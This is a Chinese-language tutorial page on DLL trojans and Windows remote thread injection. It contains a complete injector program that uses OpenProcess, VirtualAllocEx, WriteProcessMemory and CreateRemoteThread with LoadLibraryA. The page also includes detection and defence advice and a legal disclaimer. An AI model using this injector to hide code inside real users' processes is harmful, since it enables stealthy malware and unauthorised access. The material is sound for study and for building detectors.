首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> VC 教學

VC++ DLL 木馬原理與遠程線程注入技術分析

     編輯:VC 教學

DLL 木馬特徵

  • 真隱藏:映射到宿主進程位址空間,共享資源,任務管理器**無獨立進程**,極難發現。
  • 對比「假隱藏」(註冊服務):服務管理器仍可見,且具獨立進程空間。

注入核心:CreateRemoteThread

HANDLE CreateRemoteThread(
    HANDLE hProcess,                // 目標進程句柄 (OpenProcess 取得)
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress, // **必須是目標進程位址空間內的函數位址**
    LPVOID lpParameter,             // 參數指標,**必須是目標進程有效位址**
    DWORD dwCreationFlags,
    LPDWORD lpThreadId
);

關鍵限制

  1. lpStartAddress **不能** 是注入端進程的函數位址 (位址空間不同)。
  2. lpParameter **不能** 是注入端進程的指標。
  3. 解決:lpStartAddress 指向 **目標進程中已載入的 DLL 之匯出函數**,或系統 DLL (kernel32.dll) 的 LoadLibrary 位址。

標準注入流程 (LoadLibrary 法)

  1. OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid) 取得 hProcess。
  2. VirtualAllocEx(hProcess, NULL, pathLen, MEM_COMMIT, PAGE_READWRITE) 在目標進程配置記憶體,寫入 **完整 DLL 路徑字串**。
  3. 取得 LoadLibraryA 在目標進程中的位址:
    GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA") (系統 DLL 基址通常跨進程相同,ASLR 環境下需額外處理)。
  4. CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)addrLoadLibrary, pRemotePath, 0, NULL) 執行遠程載入。
  5. WaitForSingleObject(hThread, INFINITE) 等待載入完成,GetExitCodeThread 取得模組句柄。
  6. VirtualFreeEx 釋放路徑緩衝區,CloseHandle 清理。

簡化代碼範例 (原文片段補全)

// Injector.cpp
#include 
#include 

void CheckError(BOOL ok, DWORD err, const char* msg) {
    if (!ok) { printf("%s failed: %lu\n", msg, err); exit(1); }
}

int main(int argc, char* argv[]) {
    if (argc < 3) { printf("Usage: Injector  \n"); return 1; }
    DWORD pid = atoi(argv[1]);
    char* dllPath = argv[2];
    size_t pathLen = strlen(dllPath) + 1;

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    CheckError(hProc != NULL, GetLastError(), "OpenProcess");

    LPVOID pRemotePath = VirtualAllocEx(hProc, NULL, pathLen, MEM_COMMIT, PAGE_READWRITE);
    CheckError(pRemotePath, GetLastError(), "VirtualAllocEx");

    CheckError(WriteProcessMemory(hProc, pRemotePath, dllPath, pathLen, NULL), GetLastError(), "WriteProcessMemory");

    LPVOID pLoadLibrary = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    CheckError(pLoadLibrary, GetLastError(), "GetProcAddress LoadLibraryA");

    HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemotePath, 0, NULL);
    CheckError(hThread, GetLastError(), "CreateRemoteThread");

    WaitForSingleObject(hThread, INFINITE);
    DWORD exitCode; GetExitCodeThread(hThread, &exitCode);
    printf("Remote LoadLibrary returned: 0x%X\n", exitCode);

    VirtualFreeEx(hProc, pRemotePath, 0, MEM_RELEASE);
    CloseHandle(hThread); CloseHandle(hProc);
    return 0;
}

防禦與檢測

  • 監控 CreateRemoteThread、VirtualAllocEx/WriteProcessMemory 異常跨進程呼叫 (EDR/HIPS)。
  • 列舉進程模組 (EnumProcessModulesEx) 檢測非預期 DLL。
  • 簽名驗證、應用程式白名單、最小權限原則 (拒絕 PROCESS_ALL_ACCESS 給非信任進程)。

法律與道德聲明

本文僅供安全研究、防禦檢測開發、理解作業系統機制之用。**嚴禁用於惡意軟體開發、未授權滲透測試、竊取資料等非法行為**。開發者應遵守《網絡安全法》及相關法規,將技術用於保護而非破壞。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved